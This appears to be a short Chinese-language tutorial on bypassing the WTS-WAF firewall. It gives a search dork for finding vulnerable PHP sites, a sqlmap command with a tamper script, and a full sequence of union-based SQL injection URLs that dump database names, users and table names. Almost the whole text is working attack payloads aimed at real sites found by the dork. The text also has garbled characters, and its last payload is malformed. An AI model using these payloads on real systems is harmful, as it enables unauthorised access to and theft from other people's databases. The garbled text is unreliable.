如何進(jìn)行繞過(guò)WTS-WAF的分析

inurl:.php?id= intext:電器

sqlmap.py -u http://*/*.php?id=29 --tables --tamper space2plus.py

http://*/*.php?id=1+and+1=1  #回顯正常 http://*/*.php?id=1+and+1=2  #回顯錯(cuò)誤 說(shuō)明存在注入  http://*/*.php?id=1+order+by+15  #15回顯錯(cuò)誤 http://*/*.php?id=1+order+by+14  #14回顯正常 說(shuō)明有14個(gè)字段  http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14  #-1讓它錯(cuò)誤然后執(zhí)行后面

http://*/*.php?id=-1+union+select+1,database(),3,4,5,6,7,user(),9,10,11,12,13,14  #查詢當(dāng)前數(shù)據(jù)庫(kù)信息和當(dāng)前用戶 一些常見(jiàn)的函數(shù) version()  #顯示數(shù)據(jù)庫(kù)當(dāng)前版本 database() / schema()  #顯示當(dāng)前數(shù)據(jù)庫(kù)名 user() / system_user() / session_user() / current_user() / current_user()  #顯示當(dāng)前用戶名稱 charset(str)  #返回字符串str的字符集 collation(str)  #返回字符串str的字符排列方式

http://*/*.php?id=-1+union+select+1,group_concat(schema_name),3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+0,1

它不能group_concat,那我就一個(gè)一個(gè)查了！ http://*/*.php?id=-1+union+select+1,schema_name,3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+0,1 #從1開(kāi)始取一個(gè) http://*/*.php?id=-1+union+select+1,schema_name,3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+1,1  #從2開(kāi)始取一個(gè)

http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,group_concat(table_name),9,10,11,12,13,14+from+information_schema.tables+where+table_schema=database()+limit+0,1

http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,table_name,9,10,11,12,13,14+from+information_schema.tables+where+table_schema=database()+limit+0,1

http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,字段名,9,10,11,12,13,14+表名+limit+0,1